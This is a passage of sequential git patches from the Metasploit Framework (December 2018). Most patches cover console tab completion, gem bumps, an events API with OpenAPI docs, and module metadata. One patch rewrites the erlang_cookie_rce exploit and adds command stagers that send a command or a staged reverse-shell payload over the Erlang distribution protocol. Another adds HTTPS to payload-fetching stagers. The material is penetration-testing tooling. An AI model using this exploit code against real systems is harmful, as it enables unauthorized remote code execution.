"2018-12-19 18:19:24 +0000", "path": "/modules/payloads/singles/windows/x64/messagebox.rb", "is_install_path": true, "ref_name": "windows/x64/messagebox", From 06de47ce685dade80304b7dd94d71d6e239fa5e7 Mon Sep 17 00:00:00 2001 From: Green-m Date: Fri, 21 Dec 2018 18:03:57 +0800 Subject: [PATCH 110/220] Enhance the command auto-complete in aux. --- lib/msf/ui/console/command_dispatcher/auxiliary.rb | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/lib/msf/ui/console/command_dispatcher/auxiliary.rb b/lib/msf/ui/console/command_dispatcher/auxiliary.rb index a51a355c04a0..c1ff1079502a 100644 --- a/lib/msf/ui/console/command_dispatcher/auxiliary.rb +++ b/lib/msf/ui/console/command_dispatcher/auxiliary.rb @@ -68,7 +68,17 @@ def cmd_rerun(*args) end end + alias cmd_rerun_tabs cmd_run_tabs alias cmd_rexploit cmd_rerun + alias cmd_rexploit_tabs cmd_exploit_tabs + + # + # Tab completion for the run command + # + def cmd_run_tabs(str, words) + return [] if words.length > 1 + @@auxiliary_opts.fmt.keys + end # # Executes an auxiliary module @@ -147,6 +157,7 @@ def cmd_run(*args) end alias cmd_exploit cmd_run + alias cmd_exploit_tabs cmd_run_tabs def cmd_run_help print_line "Usage: run [options]" From 3021a05553e421fc59259e893bb997c7c43ab5c2 Mon Sep 17 00:00:00 2001 From: Garvit Dewan Date: Fri, 21 Dec 2018 17:51:46 +0530 Subject: [PATCH 111/220] Fix typo in report.rb --- lib/msf/core/auxiliary/report.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/auxiliary/report.rb b/lib/msf/core/auxiliary/report.rb index 8936e735c778..f5c931f11a05 100644 --- a/lib/msf/core/auxiliary/report.rb +++ b/lib/msf/core/auxiliary/report.rb @@ -443,7 +443,7 @@ def store_loot(ltype, ctype, host, data, filename=nil, info=nil, service=nil) # module, such as files from fileformat exploits. (TODO: actually # implement this on file format modules.) # - # +filenmae+ is the local file name. + # +filename+ is the local file name. # # +data+ is the actual contents of the file # From 4bc871c49993369e16c5481c5ce13694e12582c4 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Fri, 21 Dec 2018 07:33:37 -0600 Subject: [PATCH 112/220] Add CmdStager to erlang_cookie_rce --- .../exploits/multi/misc/erlang_cookie_rce.rb | 76 ++++++++++++------- 1 file changed, 49 insertions(+), 27 deletions(-) diff --git a/modules/exploits/multi/misc/erlang_cookie_rce.rb b/modules/exploits/multi/misc/erlang_cookie_rce.rb index ef29c683a9d2..8ffab6494732 100644 --- a/modules/exploits/multi/misc/erlang_cookie_rce.rb +++ b/modules/exploits/multi/misc/erlang_cookie_rce.rb @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp + include Msf::Exploit::CmdStager def initialize(info = {}) super( @@ -28,8 +29,6 @@ def initialize(info = {}) ['URL', 'https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/'] ], 'License' => MSF_LICENSE, - 'Platform' => ['unix', 'win'], - 'Arch' => ARCH_CMD, 'Privileged' => 'false', 'Targets' => [ @@ -38,10 +37,23 @@ def initialize(info = {}) 'Arch' => ARCH_CMD, 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}, ], + [ 'Linux (CmdStager)', + 'Type' => :cmdstager, + 'Platform' => 'linux', + 'Arch' => [ARCH_X64, ARCH_X86], + 'CmdStagerFlavor' => ['printf', 'echo', 'bourne'] + ], [ 'Windows', 'Platform' => 'win', 'Arch' => ARCH_CMD, 'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/adduser'}, + ], + [ 'Windows (CmdStager)', + 'Type' => :cmdstager, + 'Platform' => 'win', + 'Arch' => [ARCH_X64, ARCH_X86], + 'CmdStagerFlavor' => ['certutil', 'vbs'], + 'DefaultOptions' => {'PAYLOAD' => 'windows/shell/reverse_tcp'} ] ], 'DefaultTarget' => 0, @@ -67,26 +79,10 @@ def generate_challenge_digest(challenge) return [hash.hexdigest].pack('H*') end - def exploit - connect - - our_node = "#{rand_text_alphanumeric(6..12)}@#{rand_text_alphanumeric(6..12)}" - - # SEND_NAME: send initial identification of who "we" are - send_name = "\x00" # Length: 0x0000 - send_name << [(our_node.length+7).to_s(16)].pack('H*') # - send_name << "\x6e" # Tag: n - send_name << "\x00\x05" # Version: R6 (5) - send_name << "\x00\x03\x49\x9c" # Flags (0x0003499c) - send_name << "#{our_node}" # @ - - # SEND_CHALLENGE_REPLY: return generated digest and its own challenge - send_challenge_reply = "\x00\x15" # Length: 21 - send_challenge_reply << "\x72" # Tag: r - + def execute_command(cmd, opts={}) # SEND: send the message to the node send = "\x00\x00\x00" # Length:0x00000000 - send << [(0x50 + payload.raw.length + our_node.length*2).to_s(16)].pack('H*') # + send << [(0x50 + cmd.length + @our_node.length*2).to_s(16)].pack('H*') # send << "\x70" # send << "\x83" # VERSION_MAGIC send << "\x68" # SMALL_TUPLE_EXT (104) @@ -95,8 +91,8 @@ def exploit send << "\x06" # Int: 6 send << "\x67" # PID_EXT (103) send << "\x64\x00" # Node: - send << [(our_node.length).to_s(16)].pack('H*') # Length: strlen(Node) - send << "#{our_node}" # Node + send << [(@our_node.length).to_s(16)].pack('H*') # Length: strlen(Node) + send << "#{@our_node}" # Node send << "\x00\x00\x00\x03" # ID send << "\x00\x00\x00\x00" # Serial send << "\x00" # Creation @@ -106,8 +102,8 @@ def exploit send << "\x00\x03" # Length: 3 send << "rex" # AtomText: rex send << "\x83\x68\x02\x67\x64\x00" # - send << [(our_node.length).to_s(16)].pack('H*') # Length: strlen(Node) - send << "#{our_node}" # Node + send << [(@our_node.length).to_s(16)].pack('H*') # Length: strlen(Node) + send << "#{@our_node}" # Node send << "\x00\x00\x00\x03" # ID send << "\x00\x00\x00\x00" # Serial send << "\x00" # Creation @@ -126,12 +122,31 @@ def exploit send << "\x00\x00\x00\x01" # Length: 1 send << "\x6b" # Elements: k send << "\x00" # Tail - send << [(payload.raw.length).to_s(16)].pack('H*') # strlen(Command) - send << payload.raw # Command + send << [(cmd.length).to_s(16)].pack('H*') # strlen(Command) + send << cmd send << "\x6a" # NIL_EXT send << "\x64" # InternalSegmentIndex send << "\x00\x04" # Length: 4 send << "user" # AtomText: user + sock.put(send) + end + + def exploit + connect + + @our_node = "#{rand_text_alphanumeric(6..12)}@#{rand_text_alphanumeric(6..12)}" + + # SEND_NAME: send initial identification of who "we" are + send_name = "\x00" # Length: 0x0000 + send_name << [(@our_node.length+7).to_s(16)].pack('H*') # + send_name << "\x6e" # Tag: n + send_name << "\x00\x05" # Version: R6 (5) + send_name << "\x00\x03\x49\x9c" # Flags (0x0003499c) + send_name << "#{@our_node}" # @ + + # SEND_CHALLENGE_REPLY: return generated digest and its own challenge + send_challenge_reply = "\x00\x15" # Length: 21 + send_challenge_reply << "\x72" # Tag: r sock.put(send_name) @@ -151,6 +166,13 @@ def exploit end print_good("Authentication successful, sending payload") - sock.put(send) + + print_status('Exploiting...') + if target['Type'] == :cmdstager + execute_cmdstager(:linemax => 100) + else + execute_command(payload.raw) + end + disconnect end end From d499c657ab87f01ca123307d47c531c5325edff0 Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 21 Dec 2018 14:16:25 -0600 Subject: [PATCH 113/220] Bump Gemfile.lock and LICENSE_GEMS --- Gemfile.lock | 2 +- LICENSE_GEMS | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 97102d1aa26c..e9d69ef0ed24 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -262,7 +262,7 @@ GEM metasm rex-arch rex-text - rex-exploitation (0.1.19) + rex-exploitation (0.1.20) jsobfu metasm rex-arch diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 50234109b9b9..193f14284959 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -90,7 +90,7 @@ rex-arch, 0.1.13, "New BSD" rex-bin_tools, 0.1.4, "New BSD" rex-core, 0.1.13, "New BSD" rex-encoder, 0.1.4, "New BSD" -rex-exploitation, 0.1.17, "New BSD" +rex-exploitation, 0.1.20, "New BSD" rex-java, 0.1.5, "New BSD" rex-mime, 0.1.5, "New BSD" rex-nop, 0.1.1, "New BSD" From b4ff3b544ff7e3ddc8d40afb9691109cfe175515 Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 21 Dec 2018 14:32:59 -0600 Subject: [PATCH 114/220] Add CMDSTAGER::SSL datastore option It has come to my attention that since I added the HTTP(S) command stagers, no one has used HTTPS. This is probably why. The CmdStager options hash takes precedence over any datastore options. --- lib/msf/core/exploit/cmdstager.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/cmdstager.rb b/lib/msf/core/exploit/cmdstager.rb index 4a2e870be5d8..0219d354ba49 100644 --- a/lib/msf/core/exploit/cmdstager.rb +++ b/lib/msf/core/exploit/cmdstager.rb @@ -56,7 +56,8 @@ def initialize(info = {}) register_advanced_options( [ OptEnum.new('CMDSTAGER::FLAVOR', [false, 'The CMD Stager to use.', 'auto', flavors]), - OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use.']) + OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use.']), + OptBool.new('CMDSTAGER::SSL', [false, 'Use SSL/TLS for supported stagers', false]) ], self.class) end @@ -129,6 +130,7 @@ def generate_cmdstager(opts = {}, pl = nil) self.stager_instance = create_stager if stager_instance.respond_to?(:http?) && stager_instance.http? + opts[:ssl] = datastore['CMDSTAGER::SSL'] unless opts.key?(:ssl) opts[:payload_uri] = start_service(opts) end From 8f61fe457a646e05f97b64eaa46dbfb402fa2c19 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 21 Dec 2018 13:16:16 -0800 Subject: [PATCH 115/220] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 135 ++++++++++++++++++++++++++++++++-- 1 file changed, 130 insertions(+), 5 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 04e11e2f39a5..e34a3fb120d7 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -30693,6 +30693,129 @@ "notes": { } }, + "auxiliary_scanner/msmail/exchange_enum": { + "name": "Exchange email enumeration", + "full_name": "auxiliary/scanner/msmail/exchange_enum", + "rank": 300, + "disclosure_date": "2018-11-06", + "type": "auxiliary", + "author": [ + "poptart", + "jlarose", + "Vincent Yiu", + "grimhacker", + "Nate Power", + "Nick Powers", + "clee-r7" + ], + "description": "Error-based user enumeration for Office 365 integrated email addresses", + "references": [ + + ], + "is_server": false, + "is_client": false, + "platform": "", + "arch": "", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": null, + "mod_time": "2018-12-07 13:29:56 +0000", + "path": "/modules/auxiliary/scanner/msmail/exchange_enum.go", + "is_install_path": true, + "ref_name": "scanner/msmail/exchange_enum", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + } + }, + "auxiliary_scanner/msmail/host_id": { + "name": "Vulnerable domain identification", + "full_name": "auxiliary/scanner/msmail/host_id", + "rank": 300, + "disclosure_date": "2018-11-06", + "type": "auxiliary", + "author": [ + "poptart", + "jlarose", + "Vincent Yiu", + "grimhacker", + "Nate Power", + "Nick Powers", + "clee-r7" + ], + "description": "Identifying potentially vulnerable Exchange endpoints", + "references": [ + + ], + "is_server": false, + "is_client": false, + "platform": "", + "arch": "", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": null, + "mod_time": "2018-12-07 13:29:56 +0000", + "path": "/modules/auxiliary/scanner/msmail/host_id.go", + "is_install_path": true, + "ref_name": "scanner/msmail/host_id", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + } + }, + "auxiliary_scanner/msmail/onprem_enum": { + "name": "On premise user enumeration", + "full_name": "auxiliary/scanner/msmail/onprem_enum", + "rank": 300, + "disclosure_date": "2018-11-06", + "type": "auxiliary", + "author": [ + "poptart", + "jlarose", + "Vincent Yiu", + "grimhacker", + "Nate Power", + "Nick Powers", + "clee-r7" + ], + "description": "On premise enumeration of valid exchange users", + "references": [ + + ], + "is_server": false, + "is_client": false, + "platform": "", + "arch": "", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": null, + "mod_time": "2018-12-07 13:29:56 +0000", + "path": "/modules/auxiliary/scanner/msmail/onprem_enum.go", + "is_install_path": true, + "ref_name": "scanner/msmail/onprem_enum", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + } + }, "auxiliary_scanner/mssql/mssql_hashdump": { "name": "MSSQL Password Hashdump", "full_name": "auxiliary/scanner/mssql/mssql_hashdump", @@ -69172,10 +69295,10 @@ "references": [ "URL-https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/" ], - "is_server": true, + "is_server": false, "is_client": false, - "platform": "Unix,Windows", - "arch": "cmd", + "platform": "", + "arch": "", "rport": 25672, "autofilter_ports": [ @@ -69185,9 +69308,11 @@ ], "targets": [ "Unix", - "Windows" + "Linux (CmdStager)", + "Windows", + "Windows (CmdStager)" ], - "mod_time": "2018-12-18 14:55:12 +0000", + "mod_time": "2018-12-21 07:33:37 +0000", "path": "/modules/exploits/multi/misc/erlang_cookie_rce.rb", "is_install_path": true, "ref_name": "multi/misc/erlang_cookie_rce", From 69d882eb54dd313c786531171aefdccdcc64f873 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 21 Dec 2018 16:53:51 -0600 Subject: [PATCH 116/220] bump payloads with REG_MULTI_SZ support --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 06ac413ff533..992ca4121bbc 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -21,7 +21,7 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 1.3.57) + metasploit-payloads (= 1.3.58) metasploit_data_models metasploit_payloads-mettle (= 0.5.0) mqtt @@ -178,7 +178,7 @@ GEM activemodel (~> 4.2.6) activesupport (~> 4.2.6) railties (~> 4.2.6) - metasploit-payloads (1.3.57) + metasploit-payloads (1.3.58) metasploit_data_models (3.0.2) activerecord (~> 4.2.6) activesupport (~> 4.2.6) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 45d9eeac943a..875047f62a3d 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -70,7 +70,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.3.57' + spec.add_runtime_dependency 'metasploit-payloads', '1.3.58' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.5.0' # Needed by msfgui and other rpc components From a45797370227918560f1f7a6a5d13f620f46b254 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 21 Dec 2018 15:14:24 -0800 Subject: [PATCH 117/220] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index e34a3fb120d7..53255664823c 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -54791,13 +54791,14 @@ "type": "exploit", "author": [ "Jann Horn", - "Brendan Coles " + "Brendan Coles" ], - "description": "This module exploits a vulnerability in VMware Workstation Pro and\n Player on Linux which allows users to escalate their privileges by\n using an ALSA configuration file to load and execute a shared object\n as root when launching a virtual machine with an attached sound card.\n\n This module has been tested successfully on VMware Player version\n 12.5.0 on Debian Linux.", + "description": "This module exploits a vulnerability in VMware Workstation Pro and\n Player on Linux which allows users to escalate their privileges by\n using an ALSA configuration file to load and execute a shared object\n as root when launching a virtual machine with an attached sound card.\n\n This module has been tested successfully on VMware Player version\n 12.5.0 on Debian Linux 8 Jessie.", "references": [ "CVE-2017-4915", "EDB-42045", "BID-98566", + "URL-https://www.securitytracker.com/id/1038525", "URL-https://gist.github.com/bcoles/cd26a831473088afafefc93641e184a9", "URL-https://www.vmware.com/security/advisories/VMSA-2017-0009.html", "URL-https://bugs.chromium.org/p/project-zero/issues/detail?id=1142" @@ -54817,7 +54818,7 @@ "Linux x86", "Linux x64" ], - "mod_time": "2018-10-10 14:12:29 +0000", + "mod_time": "2018-12-17 08:01:34 +0000", "path": "/modules/exploits/linux/local/vmware_alsa_config.rb", "is_install_path": true, "ref_name": "linux/local/vmware_alsa_config", From 7e10b38421ce2159c7bba6cc79430561f9acbf35 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Fri, 21 Dec 2018 21:37:42 -0500 Subject: [PATCH 118/220] Add events method --- .../framework/data_service/proxy/event_data_proxy.rb | 11 +++++++++++ .../remote/http/remote_event_data_service.rb | 10 ++++++++++ .../data_service/stubs/event_data_service.rb | 5 ++++- 3 files changed, 25 insertions(+), 1 deletion(-) diff --git a/lib/metasploit/framework/data_service/proxy/event_data_proxy.rb b/lib/metasploit/framework/data_service/proxy/event_data_proxy.rb index ea57b0198dbe..d24e073c624a 100644 --- a/lib/metasploit/framework/data_service/proxy/event_data_proxy.rb +++ b/lib/metasploit/framework/data_service/proxy/event_data_proxy.rb @@ -1,5 +1,16 @@ module EventDataProxy + def events(opts = {}) + begin + self.data_service_operation do |data_service| + add_opts_workspace(opts) + data_service.events(opts) + end + rescue => e + self.log_error(e, "Problem retrieving events") + end + end + def report_event(opts) begin self.data_service_operation do |data_service| diff --git a/lib/metasploit/framework/data_service/remote/http/remote_event_data_service.rb b/lib/metasploit/framework/data_service/remote/http/remote_event_data_service.rb index 26b878420fd6..748131c92abc 100644 --- a/lib/metasploit/framework/data_service/remote/http/remote_event_data_service.rb +++ b/lib/metasploit/framework/data_service/remote/http/remote_event_data_service.rb @@ -1,5 +1,15 @@ +require 'metasploit/framework/data_service/remote/http/response_data_helper' + module RemoteEventDataService + include ResponseDataHelper + EVENT_API_PATH = '/api/v1/events' + EVENT_MDM_CLASS = 'Mdm::Event' + + def events(opts) + path = get_path_select(opts, EVENT_API_PATH) + json_to_mdm_object(self.get_data(path, nil, opts), EVENT_MDM_CLASS, []) + end def report_event(opts) self.post_data_async(EVENT_API_PATH, opts) diff --git a/lib/metasploit/framework/data_service/stubs/event_data_service.rb b/lib/metasploit/framework/data_service/stubs/event_data_service.rb index 72511ea8cb27..fb37c3e1e7d5 100644 --- a/lib/metasploit/framework/data_service/stubs/event_data_service.rb +++ b/lib/metasploit/framework/data_service/stubs/event_data_service.rb @@ -1,7 +1,10 @@ module EventDataService + def events(opts) + raise 'EventDataService#events is not implemented' + end + def report_event(opts) raise 'EventDataService#report_event is not implemented' end - end \ No newline at end of file From 5e971132f3a0143be7a927125f6572df968e0638 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Fri, 21 Dec 2018 21:43:25 -0500 Subject: [PATCH 119/220] Enhance events method to fully query events --- lib/msf/core/db_manager/event.rb | 39 ++++++++++++++++++++++++++++++-- 1 file changed, 37 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/db_manager/event.rb b/lib/msf/core/db_manager/event.rb index 373ca70a7c9e..0ff4a3f89208 100644 --- a/lib/msf/core/db_manager/event.rb +++ b/lib/msf/core/db_manager/event.rb @@ -1,12 +1,47 @@ module Msf::DBManager::Event - def events(wspace=workspace) + DEFAULT_ORDER = :desc + DEFAULT_LIMIT = 100 + DEFAULT_OFFSET = 0 + + # Retrieves events that are stored in the database. + # + # @param opts [Hash] Hash containing query options. + # @option opts :id [Integer] A specific event ID. If specified, all other options are ignored. + # @option opts :workspace [String] The workspace from which the data should be gathered from. (Required) + # @option opts :order [Symbol|String] The event created_at sort order. + # Valid values: :asc, :desc, 'asc' or 'desc'. Default: :desc + # @option opts :limit [Integer] The maximum number of events that will be retrieved from the query. + # Default: 100 + # @option opts :offset [Integer] The number of events the query will begin reading from the start + # of the set. Default: 0 + # @option opts :search_term [String] Search regular expression used to filter results. + # All fields are converted to strings and results are returned if the pattern is matched. + # @return [Array|Mdm::Event::ActiveRecord_AssociationRelation] events that are matched. + def events(opts) ::ActiveRecord::Base.connection_pool.with_connection { # If we have the ID, there is no point in creating a complex query. if opts[:id] && !opts[:id].to_s.empty? return Array.wrap(Mdm::Event.find(opts[:id])) end - wspace.events.find :all, :order => 'created_at ASC' + wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework) + + order = opts.delete(:order) + order = order.nil? ? DEFAULT_ORDER : order.to_sym + + limit = opts.delete(:limit) || DEFAULT_LIMIT + offset = opts.delete(:offset) || DEFAULT_OFFSET + + search_term = opts.delete(:search_term) + results = wspace.events.where(opts).order(created_at: order).offset(offset).limit(limit) + + if search_term && !search_term.empty? + re_search_term = /#{search_term}/mi + results = results.select { |event| + event.attribute_names.any? { |a| event[a.intern].to_s.match(re_search_term) } + } + end + results } end From a448b26f733ef9ef57ec06e1ea18e278e6d9e2ea Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Fri, 21 Dec 2018 22:13:52 -0500 Subject: [PATCH 120/220] Remove unnecessary argument default value --- lib/msf/core/db_manager/event.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/db_manager/event.rb b/lib/msf/core/db_manager/event.rb index 0ff4a3f89208..f195556749d5 100644 --- a/lib/msf/core/db_manager/event.rb +++ b/lib/msf/core/db_manager/event.rb @@ -45,7 +45,7 @@ def events(opts) } end - def report_event(opts = {}) + def report_event(opts) return if not active ::ActiveRecord::Base.connection_pool.with_connection { wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework) From b5bc65c3bd4e8a40972f2ca7100f303e5b37a89f Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Fri, 21 Dec 2018 22:18:10 -0500 Subject: [PATCH 121/220] Add GET handler to query events --- .../web_services/servlet/event_servlet.rb | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/lib/msf/core/web_services/servlet/event_servlet.rb b/lib/msf/core/web_services/servlet/event_servlet.rb index 8284d3225d42..449bdcb8f379 100644 --- a/lib/msf/core/web_services/servlet/event_servlet.rb +++ b/lib/msf/core/web_services/servlet/event_servlet.rb @@ -4,7 +4,12 @@ def self.api_path '/api/v1/events' end + def self.api_path_with_id + "#{EventServlet.api_path}/?:id?" + end + def self.registered(app) + app.get EventServlet.api_path_with_id, &get_event app.post EventServlet.api_path, &report_event end @@ -12,6 +17,20 @@ def self.registered(app) private ####### + def self.get_event + lambda { + warden.authenticate! + begin + sanitized_params = sanitize_params(params, env['rack.request.query_hash']) + data = get_db.events(sanitized_params) + data = data.first if is_single_object?(data, sanitized_params) + set_json_data_response(response: data) + rescue => e + print_error_and_create_response(error: e, message: 'There was an error getting events:', code: 500) + end + } + end + def self.report_event lambda { begin From ff8c70f6af00ffa2a53431945d93d0077ccb0300 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Fri, 21 Dec 2018 22:19:09 -0500 Subject: [PATCH 122/220] Restore events test for remote DB --- spec/support/shared/examples/msf/db_manager/event.rb | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/spec/support/shared/examples/msf/db_manager/event.rb b/spec/support/shared/examples/msf/db_manager/event.rb index 4a99319520e1..f775a1862cd8 100644 --- a/spec/support/shared/examples/msf/db_manager/event.rb +++ b/spec/support/shared/examples/msf/db_manager/event.rb @@ -1,8 +1,4 @@ RSpec.shared_examples_for 'Msf::DBManager::Event' do - - unless ENV['REMOTE_DB'] - it { is_expected.to respond_to :events } - end - + it { is_expected.to respond_to :events } it { is_expected.to respond_to :report_event } end \ No newline at end of file From e9d40248f46f9aabc2bbf23df9b80d43272042a3 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Fri, 21 Dec 2018 22:24:20 -0500 Subject: [PATCH 123/220] Add OpenAPI documentation for events GET operation --- documentation/api/v1/event_api_doc.rb | 108 ++++++++++++++++++++++++++ 1 file changed, 108 insertions(+) diff --git a/documentation/api/v1/event_api_doc.rb b/documentation/api/v1/event_api_doc.rb index 434bbc745a7e..8743236c6323 100644 --- a/documentation/api/v1/event_api_doc.rb +++ b/documentation/api/v1/event_api_doc.rb @@ -12,6 +12,11 @@ module EventApiDoc INFO_DESC = 'Information about the event specific to the event name.' INFO_EXAMPLE = '{:command=>"irb"}' + ORDER_ENUM = [ + 'asc', + 'desc' + ] + # Swagger documentation for Event model swagger_schema :Event do key :required, [:name] @@ -27,6 +32,69 @@ module EventApiDoc end swagger_path '/api/v1/events' do + # Swagger documentation for /api/v1/events GET + operation :get do + key :description, 'Return events that are stored in the database.' + key :tags, [ 'event' ] + + parameter :workspace + + parameter do + key :name, :limit + key :in, :query + key :description, 'The maximum number of events that will be retrieved from the query. (Default: 100)' + key :example, 100 + key :type, :integer + key :format, :int32 + key :required, false + end + + parameter do + key :name, :offset + key :in, :query + key :description, 'The number of events the query will begin reading from the start of the set. (Default: 0)' + key :example, 0 + key :type, :integer + key :format, :int32 + key :required, false + end + + parameter do + key :name, :order + key :in, :query + key :description, 'The event created_at sort order. (Default: desc)' + key :type, :string + key :required, false + key :enum, ORDER_ENUM + end + + response 200 do + key :description, 'Returns event data.' + schema do + property :data do + key :type, :array + items do + key :'$ref', :Event + end + end + end + end + + response 401 do + key :description, RootApiDoc::DEFAULT_RESPONSE_401 + schema do + key :'$ref', :AuthErrorModel + end + end + + response 500 do + key :description, RootApiDoc::DEFAULT_RESPONSE_500 + schema do + key :'$ref', :ErrorModel + end + end + end + # Swagger documentation for /api/v1/events POST operation :post do key :description, 'Create an event.' @@ -71,4 +139,44 @@ module EventApiDoc end end end + + swagger_path '/api/v1/events/{id}' do + # Swagger documentation for /api/v1/events/:id GET + operation :get do + key :description, 'Return a specific event that is stored in the database.' + key :tags, [ 'event' ] + + parameter do + key :name, :id + key :in, :path + key :description, 'ID of event to retrieve.' + key :required, true + key :type, :integer + key :format, :int32 + end + + response 200 do + key :description, 'Returns event data.' + schema do + property :data do + key :'$ref', :Event + end + end + end + + response 401 do + key :description, RootApiDoc::DEFAULT_RESPONSE_401 + schema do + key :'$ref', :AuthErrorModel + end + end + + response 500 do + key :description, RootApiDoc::DEFAULT_RESPONSE_500 + schema do + key :'$ref', :ErrorModel + end + end + end + end end From bad8176548a9259be86218dcb5aedb9ce8d1802f Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Fri, 21 Dec 2018 22:24:59 -0500 Subject: [PATCH 124/220] Change event info example specification Allows API documentation to display the event model example correctly. --- documentation/api/v1/event_api_doc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/api/v1/event_api_doc.rb b/documentation/api/v1/event_api_doc.rb index 8743236c6323..a8745e5b15b6 100644 --- a/documentation/api/v1/event_api_doc.rb +++ b/documentation/api/v1/event_api_doc.rb @@ -10,7 +10,7 @@ module EventApiDoc SEEN_DESC = 'true if a user has acknowledged the event.' USERNAME_DESC = 'Name of the user that triggered the event.' INFO_DESC = 'Information about the event specific to the event name.' - INFO_EXAMPLE = '{:command=>"irb"}' + INFO_EXAMPLE = {command: 'irb'} ORDER_ENUM = [ 'asc', From 9a43507416a92a58348655a66a31f5b8784a76ab Mon Sep 17 00:00:00 2001 From: "@shellfail" Date: Sat, 22 Dec 2018 23:16:43 +0300 Subject: [PATCH 125/220] Update documentation/modules/exploit/linux/http/mailcleaner_exec.md Co-Authored-By: mmetince --- documentation/modules/exploit/linux/http/mailcleaner_exec.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/linux/http/mailcleaner_exec.md b/documentation/modules/exploit/linux/http/mailcleaner_exec.md index e58450168d66..eab0a65c8b48 100644 --- a/documentation/modules/exploit/linux/http/mailcleaner_exec.md +++ b/documentation/modules/exploit/linux/http/mailcleaner_exec.md @@ -1,4 +1,4 @@ -## Vulnerable Application +## Description This module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an operating system command under the context of the web server user which is root. @@ -82,4 +82,4 @@ msf5 exploit(linux/http/mailcleaner_exec) > run id uid=0(root) gid=1003(mailcleaner) groups=1003(mailcleaner) -``` \ No newline at end of file +``` From e6b2b6cee54f4c2b632f9321643cc0235e46c6f6 Mon Sep 17 00:00:00 2001 From: "@shellfail" Date: Sat, 22 Dec 2018 23:16:51 +0300 Subject: [PATCH 126/220] Update documentation/modules/exploit/linux/http/mailcleaner_exec.md Co-Authored-By: mmetince --- documentation/modules/exploit/linux/http/mailcleaner_exec.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/linux/http/mailcleaner_exec.md b/documentation/modules/exploit/linux/http/mailcleaner_exec.md index eab0a65c8b48..25c69c21c311 100644 --- a/documentation/modules/exploit/linux/http/mailcleaner_exec.md +++ b/documentation/modules/exploit/linux/http/mailcleaner_exec.md @@ -2,7 +2,7 @@ This module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an operating system command under the context of the web server user which is root. -### Installation +### Vulnerable Application You can download ISO file from following URL. [https://www.mailcleaner.org/latest-downloads/](https://www.mailcleaner.org/latest-downloads/) From 12a948dde5f049a1612815dc3064d728a3866520 Mon Sep 17 00:00:00 2001 From: Green-m Date: Mon, 24 Dec 2018 11:30:02 +0800 Subject: [PATCH 127/220] Move down cmd_rerun to fix rspec issue. --- .../console/command_dispatcher/auxiliary.rb | 26 +++++++++---------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git 